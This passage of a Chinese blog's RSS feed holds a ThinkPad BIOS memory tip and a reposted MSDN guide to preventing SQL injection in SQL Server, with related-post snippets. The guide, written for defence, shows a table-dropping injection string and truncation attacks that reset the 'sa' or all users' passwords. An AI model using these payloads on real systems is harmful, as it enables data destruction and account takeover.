用户名：默认&#60;未设置&#62; 密码：默认&#60;未设置&#62; 服务器：默认&#60;未设置&#62; MMSC：默认&#60;未设置&#62; 彩信代理：默认&#60;未设置&#62; 彩信端口：默认&#60;未设置&#62; 彩信协议：默认&#60;WAP 2.0&#62; MCC：默认&#60;460&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>T400/R400等机型在WIN7系统下支持双显卡切换功能，但是升级到3G以上内存时，系统可用内存只有2.46G，这是因为一方面32位系统最大支持3G内存，另外一方面集成显卡共享显存也占用了一些内存，只有安装64位系统的情况下才能充分利用3G以上的内存。那么如何在不安装64位系统的情况下充分利用3G内存呢？按照如下步骤将集成显卡关闭即可。在只使用独立显卡的情况下32位系统最大可用内存可以达到2.99G</p>
<p>&#160;</p>
<p><span id="more-621"></span>
<p>1. 开机点击F1进入BIOS设置，Config-&gt;<font color="#ff0000">Display     <br /></font>Default Primary Video Device 设置为 <font color="#ff0000">PCI Express</font>    <br />Graphics Device 设置为 <font color="#ff0000">Discrete     <br /></font>OS Detection for Switchable Graphics设置为 <font color="#ff0000">Disabled     <br /></font>2.返回BIOS 主菜单    <br />点击<font color="#ff0000">F10</font>保存退出。    <br /><strong>！！！注意了</strong>    <br />3.这一步需要，按住电源键（关键）这里特别提醒是关机     <br />而不是保存并重新启动，之后在开机     <br />进入系统信息查看此时系统内存显示由2.46G变为2.99G</p>
<div id="seo_alrp_related"><h2>Posts Related to T400/R400等双显卡机型 WIN7可用内存2.46G 变为2.99G的方法</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/09/30/488.html" rel="bookmark">HTC-Desire(G7)/A8180联通3G上网、彩信设置（绝对可用）</a></h3><p>经常为此乱找，特存在这里。 1 先删除所有接入点。重启 2 添加接入点 主页面-&gt;设置-&gt;无线和网络-&gt;移动网络设置-&gt;接入点名称 3 新建3个接入点。接入点参数如下： （1）3gnet 名称：随意 接入点名称：3gnet 代理：默认&lt;未设置&gt; 端口：默认&lt;未设置&gt; 用户名：默认&lt;未设置&gt; 密码：默认&lt;未设置&gt; 服务器：默认&lt;未设置&gt; MMSC：默认&lt;未设置&gt; 彩信代理：默认&lt;未设置&gt; 彩信端口：默认&lt;未设置&gt; 彩信协议：默认&lt;WAP 2.0&gt; MCC：默认&lt;460&gt; MNC：默认&lt;01&gt; 身份验证类型：&lt;无&gt; 接入点名称类型：default ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/05/247.html" rel="bookmark">刘惜君-我很快乐</a></h3><p>说有什么不能说怕什么 相信我不会哭我不会难过 错谁的错谁能说得清楚 还不如算我的错 做有什么不敢做怕什么 相信我不在乎就算你走了 落就算我的心从十六楼 落下负一层 b座 我也不会难过你不要小看我 有什么熬不过大不了唱首歌 虽然是悲伤的歌声音有点颤抖 也比你好得多我还是很快乐 我才不会难过你别太小看我 有什么熬不过谁说我不能喝 我喝得比谁都多走路有点颠簸 也比你强得多我还是很快乐 做有什么不忍心怕什么 相信我不在乎就算你走了 落就算我的心从十六楼 落下负一层 b座 我才不会难过你别太小看我 有什么熬不过烧掉你写的信 忘掉你喜欢的歌绑住我的眼睛 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/615.html" rel="bookmark">SQL Injection with MySQL</a></h3><p>本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。 声明 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。 前言 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/617.html" rel="bookmark">SQL Injection with MySQL</a></h3><p>本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。 声明 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。 前言 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/23/349.html" rel="bookmark">爱情转移</a></h3><p>爱情转移 徘徊过多少橱窗， 住过多少旅馆 才会觉得分离也并不冤枉 感情是用来浏览 还是用来珍藏 好让日子天天都过的难忘 熬过了多久患难，湿了多少眼眶 才能知道伤感是爱的遗产 流浪几张双人床 换过几次信仰 才让戒指义无返顾的交换 把一个人的温暖 转移到另一个的胸膛 让上次犯的错反省出梦想 每个人都是这样 享受过提心吊胆 才拒绝做爱情代罪的羔羊 回忆是抓不到的月光握紧就变黑暗 等虚假的背影消失于晴朗 阳光在身上流转，等所有业障被原谅 爱情不停站 想开往地老天荒 需要多勇敢 烛光照亮了晚餐，照不出个答案 ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/09/621.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL 注入(2)</title>
		<link>http://blog.yxzone.net/2012/04/09/619.html</link>
		<comments>http://blog.yxzone.net/2012/04/09/619.html#comments</comments>
		<pubDate>Mon, 09 Apr 2012 02:29:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[未分类]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=619</guid>
		<description><![CDATA[本文来自 MSDN （http://msdn.microsoft.com） SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。 SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。 注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“&#8211;”来终止注入的字符串。执行时，此后的文本将被忽略。 以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询： 复制 var Shipcity; ShipCity = Request.form (&#34;ShipCity&#34;); var sql = &#34;select * from OrdersTable where ShipCity = '&#34; + ShipCity + &#34;'&#34;; 用户将被提示输入一个市县名称。如果用户输入 Redmond，则查询将由与下面内容相似的脚本组成： SELECT * FROM OrdersTable WHERE ShipCity [...]]]></description>
			<content:encoded><![CDATA[<p>本文来自 MSDN （<a title="http://msdn.microsoft.com" href="http://msdn.microsoft.com">http://msdn.microsoft.com</a>）</p>
<p>SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。</p>
<p>SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。</p>
<p>注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“&#8211;”来终止注入的字符串。执行时，此后的文本将被忽略。</p>
<p><span id="more-619"></span>
<p>以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询：</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/" name="CodeSnippetCopyLink">复制</a></p>
<pre>var Shipcity;
ShipCity = Request.form (&quot;ShipCity&quot;);
var sql = &quot;select * from OrdersTable where ShipCity = '&quot; + ShipCity + &quot;'&quot;;</pre>
<p>用户将被提示输入一个市县名称。如果用户输入 Redmond，则查询将由与下面内容相似的脚本组成：</p>
<p>SELECT * FROM OrdersTable WHERE ShipCity = &#8216;Redmond&#8217;</p>
<p>但是，假定用户输入以下内容：</p>
<p>Redmond&#8217;; drop table OrdersTable&#8211;</p>
<p>此时，脚本将组成以下查询：</p>
<p>SELECT * FROM OrdersTable WHERE ShipCity = &#8216;Redmond&#8217;;drop table OrdersTable&#8211;&#8217; </p>
<p>分号 (;) 表示一个查询的结束和另一个查询的开始。双连字符 (&#8211;) 指示当前行余下的部分是一个注释，应该忽略。如果修改后的代码语法正确，则服务器将执行该代码。SQL Server 处理该语句时，SQL Server 将首先选择 OrdersTable 中的所有记录（其中 ShipCity 为 Redmond）。然后，SQL Server 将删除 OrdersTable。</p>
<p>只要注入的 SQL 代码语法正确，便无法采用编程方式来检测篡改。因此，必须验证所有用户输入，并仔细检查在您所用的服务器中执行构造 SQL 命令的代码。本主题中的以下各部分说明了编写代码的最佳做法。</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/"><img src="http://i.msdn.microsoft.com/Hash/030c41d9079671d09a62d8e2c1db6973.gif" />验证所有输入</a></p>
<hr />
<p><a></a></p>
<p>始终通过测试类型、长度、格式和范围来验证用户输入。实现对恶意输入的预防时，请注意应用程序的体系结构和部署方案。请注意，设计为在安全环境中运行的程序可能会被复制到不安全的环境中。以下建议应被视为最佳做法：</p>
<ul>
<li>
<p>对应用程序接收的数据不做任何有关大小、类型或内容的假设。例如，您应该进行以下评估：</p>
<ul>
<li>
<p>如果一个用户在需要邮政编码的位置无意中或恶意地输入了一个 10 MB 的 MPEG 文件，应用程序会做出什么反应？</p>
</li>
<li>
<p>如果在文本字段中嵌入了一个 DROP TABLE 语句，应用程序会做出什么反应？</p>
</li>
</ul>
</li>
<li>
<p>测试输入的大小和数据类型，强制执行适当的限制。这有助于防止有意造成的缓冲区溢出。</p>
</li>
<li>
<p>测试字符串变量的内容，只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入，防止某些缓冲区溢出攻击。</p>
</li>
<li>
<p>使用 XML 文档时，根据数据的架构对输入的所有数据进行验证。</p>
</li>
<li>
<p>绝不直接使用用户输入内容来生成 Transact-SQL 语句。</p>
</li>
<li>
<p>使用存储过程来验证用户输入。</p>
</li>
<li>
<p>在多层环境中，所有数据都应该在验证之后才允许进入可信区域。未通过验证过程的数据应被拒绝，并向前一层返回一个错误。</p>
</li>
<li>
<p>实现多层验证。对无目的的恶意用户采取的预防措施对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。</p>
<p>例如，在客户端应用程序中验证数据可以防止简单的脚本注入。但是，如果下一层认为其输入已通过验证，则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。</p>
</li>
<li>
<p>绝不串联未验证的用户输入。字符串串联是脚本注入的主要输入点。</p>
</li>
<li>
<p>在可能据以构造文件名的字段中，不接受下列字符串：AUX、CLOCK$、COM1 到 COM8、CON、CONFIG$、LPT1 到 LPT8、NUL 以及 PRN。</p>
</li>
</ul>
<p>如果可能，拒绝包含以下字符的输入。</p>
<p>输入字符</p>
<p>在 Transact-SQL 中的含义</p>
<p>;</p>
<p>查询分隔符。</p>
<p>&#8216;</p>
<p>字符数据字符串分隔符。</p>
<p>&#8211; </p>
<p>注释分隔符。</p>
<p>/* &#8230; */</p>
<p>注释分隔符。服务器不对 /* 和 */ 之间的注释进行处理。</p>
<p><strong>xp_</strong></p>
<p>用于目录扩展存储过程的名称的开头，如 <strong>xp_cmdshell</strong>。</p>
<h5>使用类型安全的 SQL 参数</h5>
<p>SQL Server 中的 <strong>Parameters</strong> 集合提供了类型检查和长度验证。如果使用 <strong>Parameters</strong> 集合，则输入将被视为文字值而不是可执行代码。使用 <strong>Parameters</strong> 集合的另一个好处是可以强制执行类型和长度检查。范围以外的值将触发异常。以下代码段显示了如何使用 <strong>Parameters</strong> 集合：</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/" name="CodeSnippetCopyLink">复制</a></p>
<pre>SqlDataAdapter myCommand = new SqlDataAdapter(&quot;AuthorLogin&quot;, conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add(&quot;@au_id&quot;,
     SqlDbType.VarChar, 11);
parm.Value = Login.Text;</pre>
<p>在此示例中，@au_id 参数被视为文字值而不是可执行代码。将对此值进行类型和长度检查。如果 @au_id 值不符合指定的类型和长度约束，则将引发异常。</p>
<h5>在存储过程中使用参数化输入</h5>
<p>存储过程如果使用未筛选的输入，则可能容易受 SQL Injection 攻击。例如，以下代码容易受到攻击：</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/" name="CodeSnippetCopyLink">复制</a></p>
<pre>SqlDataAdapter myCommand =
new SqlDataAdapter(&quot;LoginStoredProcedure '&quot; +
                               Login.Text + &quot;'&quot;, conn);</pre>
<p>如果使用存储过程，则应使用参数作为存储过程的输入。</p>
<h5>在动态 SQL 中使用参数集合</h5>
<p>如果不能使用存储过程，您仍可使用参数，如以下代码示例所示：</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/" name="CodeSnippetCopyLink">复制</a></p>
<pre>SqlDataAdapter myCommand = new SqlDataAdapter(
&quot;SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id&quot;, conn);
SQLParameter parm = myCommand.SelectCommand.Parameters.Add(&quot;@au_id&quot;,
                        SqlDbType.VarChar, 11);
Parm.Value = Login.Text;</pre>
<h5>筛选输入</h5>
<p>筛选输入可以删除转义符，这也可能有助于防止 SQL 注入。但由于可引起问题的字符数量很大，因此这并不是一种可靠的防护方法。以下示例可搜索字符串分隔符。</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/" name="CodeSnippetCopyLink">复制</a></p>
<pre>private string SafeSqlLiteral(string inputSQL)
{
  return inputSQL.Replace(&quot;'&quot;, &quot;''&quot;);
}</pre>
<h5>LIKE 子句</h5>
<p>请注意，如果要使用 LIKE 子句，还必须对通配符字符进行转义：</p>
<p><a href="http://msdn.microsoft.com/zh-cn/library/" name="CodeSnippetCopyLink">复制</a></p>
<pre>s = s.Replace(&quot;[&quot;, &quot;[[]&quot;);
s = s.Replace(&quot;%&quot;, &quot;[%]&quot;);
s = s.Replace(&quot;_&quot;, &quot;[_]&quot;);</pre>
<p><a href="http://msdn.microsoft.com/zh-cn/library/"><img src="http://i.msdn.microsoft.com/Hash/030c41d9079671d09a62d8e2c1db6973.gif" />在代码中检查 SQL 注入</a></p>
<hr />
<p><a></a></p>
<p>应检查所有调用 EXECUTE、EXEC 或 <strong>sp_executesql</strong> 的代码。可以使用类似如下的查询来帮助您标识包含这些语句的过程。此查询检查单词 EXECUTE 或 EXEC 后是否存在 1 个、2 个、3 个或 4 个空格。</p>
<p>SELECT object_Name(id) FROM syscomments</p>
<p>WHERE UPPER(text) LIKE &#8216;%EXECUTE (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXECUTE (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXECUTE (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXECUTE (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXEC (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXEC (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXEC (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%EXEC (%&#8217;</p>
<p>OR UPPER(text) LIKE &#8216;%SP_EXECUTESQL%&#8217;</p>
<h5>使用 QUOTENAME() 和 REPLACE() 包装参数</h5>
<p>在选择的每个存储过程中，验证是否对动态 Transact-SQL 中使用的所有变量都进行了正确处理。来自存储过程的输入参数的数据或从表中读取的数据应包装在 QUOTENAME() 或 REPLACE() 中。请记住，传递给 QUOTENAME() 的 <strong>@variable</strong> 值的数据类型为 <strong>sysname</strong>，且最大长度为 128 个字符。</p>
<p>@variable</p>
<p>建议的包装</p>
<p>安全对象的名称</p>
<p>QUOTENAME(<strong>@variable</strong>)</p>
<p>字符串 ≤ 128 个字符</p>
<p>QUOTENAME(<strong>@variable,</strong> ””)</p>
<p>字符串 &gt; 128 个字符</p>
<p>REPLACE(<strong>@variable</strong>,””, ”””)</p>
<p>使用此方法时，可对 SET 语句进行如下修改：</p>
<p>&#8211;Before:</p>
<p>SET @temp = N&#8217;select * from authors where au_lname=”&#8217; </p>
<p>+ @au_lname + N””</p>
<p>&#8211;After:</p>
<p>SET @temp = N&#8217;select * from authors where au_lname=”&#8217; </p>
<p>+ REPLACE(@au_lname,””,”””) + N””</p>
<h5>由数据截断启用的注入</h5>
<p>如果分配给变量的任何动态 Transact-SQL 比为该变量分配的缓冲区大，那么它将被截断。如果攻击者能够通过将意外长度的字符串传递给存储过程来强制执行语句截断，则该攻击者可以操作该结果。例如，以下脚本创建的存储过程容易受到由截断启用的注入攻击。</p>
<p>CREATE PROCEDURE sp_MySetPassword</p>
<p>@loginname sysname,</p>
<p>@old sysname,</p>
<p>@new sysname</p>
<p>AS</p>
<p>&#8211; Declare variable.</p>
<p>&#8211; Note that the buffer here is only 200 characters long. </p>
<p>DECLARE @command varchar(200)</p>
<p>&#8211; Construct the dynamic Transact-SQL.</p>
<p>&#8211; In the following statement, we need a total of 154 characters </p>
<p>&#8211; to set the password of &#8216;sa&#8217;. </p>
<p>&#8211; 26 for UPDATE statement, 16 for WHERE clause, 4 for &#8216;sa&#8217;, and 2 for</p>
<p>&#8211; quotation marks surrounded by QUOTENAME(@loginname):</p>
<p>&#8211; 200 – 26 – 16 – 4 – 2 = 154.</p>
<p>&#8211; But because @new is declared as a sysname, this variable can only hold</p>
<p>&#8211; 128 characters. </p>
<p>&#8211; We can overcome this by passing some single quotation marks in @new.</p>
<p>SET @command= &#8216;update Users set password=&#8217; + QUOTENAME(@new, ””) + &#8216; where username=&#8217; + QUOTENAME(@loginname, ””) + &#8216; AND password = &#8216; + QUOTENAME(@old, ””)</p>
<p>&#8211; Execute the command.</p>
<p>EXEC (@command)</p>
<p>GO</p>
<p>通过向 128 个字符的缓冲区传递 154 个字符，攻击者便可以在不知道旧密码的情况下为 sa 设置新密码。</p>
<p>EXEC sp_MySetPassword &#8216;sa&#8217;, &#8216;dummy&#8217;, &#8217;123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012”””””””””””””””””””””””””&#8217; </p>
<p>因此，应对命令变量使用较大的缓冲区，或直接在 EXECUTE 语句内执行动态 Transact-SQL。</p>
<h5>使用 QUOTENAME(@variable, ””) 和 REPLACE() 时的截断</h5>
<p>如果 QUOTENAME() 和 REPLACE() 返回的字符串超过了分配的空间，该字符串将被自动截断。以下示例中创建的存储过程显示了可能出现的情况。</p>
<p>CREATE PROCEDURE sp_MySetPassword</p>
<p>@loginname sysname,</p>
<p>@old sysname,</p>
<p>@new sysname</p>
<p>AS</p>
<p>&#8211; Declare variables.</p>
<p>DECLARE @login sysname</p>
<p>DECLARE @newpassword sysname</p>
<p>DECLARE @oldpassword sysname</p>
<p>DECLARE @command varchar(2000)</p>
<p>&#8211; In the following statements, the data stored in temp variables</p>
<p>&#8211; will be truncated because the buffer size of @login, @oldpassword,</p>
<p>&#8211; and @newpassword is only 128 characters, but QUOTENAME() can return</p>
<p>&#8211; up to 258 characters.</p>
<p>SET @login = QUOTENAME(@loginname, ””)</p>
<p>SET @oldpassword = QUOTENAME(@old, ””)</p>
<p>SET @newpassword = QUOTENAME(@new, ””)</p>
<p>&#8211; Construct the dynamic Transact-SQL.</p>
<p>&#8211; If @new contains 128 characters, then @newpassword will be &#8217;123&#8230; n</p>
<p>&#8211; where n is the 127th character. </p>
<p>&#8211; Because the string returned by QUOTENAME() will be truncated, </p>
<p>&#8211; it can be made to look like the following statement:</p>
<p>&#8211; UPDATE Users SET password =&#8217;1234. . .[127] WHERE username=&#8217; &#8212; other stuff here</p>
<p>SET @command = &#8216;UPDATE Users set password = &#8216; + @newpassword </p>
<p>+ &#8216; where username =&#8217; + @login + &#8216; AND password = &#8216; + @oldpassword;</p>
<p>&#8211; Execute the command.</p>
<p>EXEC (@command)</p>
<p>GO</p>
<p>因此，以下语句将把所有用户的密码都设置为在前面的代码中传递的值。</p>
<p>EXEC sp_MyProc &#8216;&#8211;&#8217;, &#8216;dummy&#8217;, &#8217;12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678&#8242;</p>
<p>使用 REPLACE() 时，可以通过超出分配的缓冲区空间来强迫字符串截断。以下示例中创建的存储过程显示了可能出现的情况。</p>
<p>CREATE PROCEDURE sp_MySetPassword</p>
<p>@loginname sysname,</p>
<p>@old sysname,</p>
<p>@new sysname</p>
<p>AS</p>
<p>&#8211; Declare variables.</p>
<p>DECLARE @login sysname</p>
<p>DECLARE @newpassword sysname</p>
<p>DECLARE @oldpassword sysname</p>
<p>DECLARE @command varchar(2000)</p>
<p>&#8211; In the following statements, data will be truncated because </p>
<p>&#8211; the buffers allocated for @login, @oldpassword and @newpassword </p>
<p>&#8211; can hold only 128 characters, but QUOTENAME() can return </p>
<p>&#8211; up to 258 characters. </p>
<p>SET @login = REPLACE(@loginname, ””, ”””)</p>
<p>SET @oldpassword = REPLACE(@old, ””, ”””)</p>
<p>SET @newpassword = REPLACE(@new, ””, ”””)</p>
<p>&#8211; Construct the dynamic Transact-SQL.</p>
<p>&#8211; If @new contains 128 characters, @newpassword will be &#8217;123&#8230;n </p>
<p>&#8211; where n is the 127th character. </p>
<p>&#8211; Because the string returned by QUOTENAME() will be truncated, it</p>
<p>&#8211; can be made to look like the following statement:</p>
<p>&#8211; UPDATE Users SET password=&#8217;1234…[127] WHERE username=&#8217; &#8212; other stuff here </p>
<p>SET @command= &#8216;update Users set password = ”&#8217; + @newpassword + ”&#8217; where username=”&#8217; </p>
<p>+ @login + ”&#8217; AND password = ”&#8217; + @oldpassword + ””;</p>
<p>&#8211; Execute the command.</p>
<p>EXEC (@command)</p>
<p>GO</p>
<p>与 QUOTENAME() 一样，可以通过声明对所有情况都足够大的临时变量来避免由 REPLACE() 引起的字符串截断。应尽可能直接在动态 Transact-SQL 内调用 QUOTENAME() 或 REPLACE()。或者，也可以按如下方式计算所需的缓冲区大小。对于 @outbuffer = QUOTENAME(@input)，@outbuffer 的大小应为 2*(len(@input)+1). 。使用 REPLACE() 和双引号时（如上一示例），大小为 2*len(@input) 的缓冲区便已足够。</p>
<p>以下计算涵盖所有情况：</p>
<p>While len(@find_string) &gt; 0, required buffer size =</p>
<p>round(len(@input)/len(@find_string),0) * len(@new_string) </p>
<p>+ (len(@input) % len(@find_string))</p>
<h5>使用 QUOTENAME(@variable, &#8216;]&#8217;) 时的截断</h5>
<p>当 SQL Server 安全对象的名称被传递给使用 QUOTENAME(@variable, &#8216;]&#8217;) 形式的语句时，可能发生截断。下面的示例显示了这种情况。</p>
<p>CREATE PROCEDURE sp_MyProc</p>
<p>@schemaname sysname,</p>
<p>@tablename sysname,</p>
<p>AS</p>
<p>&#8211; Declare a variable as sysname. The variable will be 128 characters.</p>
<p>&#8211; But @objectname actually must allow for 2*258+1 characters. </p>
<p>DECLARE @objectname sysname</p>
<p>SET @objectname = QUOTENAME(@schemaname)+&#8217;.'+ QUOTENAME(@tablename) </p>
<p>&#8211; Do some operations.</p>
<p>GO</p>
<p>当您串联 sysname 类型的值时，应使用足够大的临时变量来保存每个值的最多 128 个字符。应尽可能直接在动态 Transact-SQL 内调用 QUOTENAME()。或者，也可以按上一部分所述来计算所需的缓冲区大小。</p>
<div id="seo_alrp_related"><h2>Posts Related to SQL 注入(2)</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/615.html" rel="bookmark">SQL Injection with MySQL</a></h3><p>本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。 声明 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。 前言 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/617.html" rel="bookmark">SQL Injection with MySQL</a></h3><p>本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。 声明 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。 前言 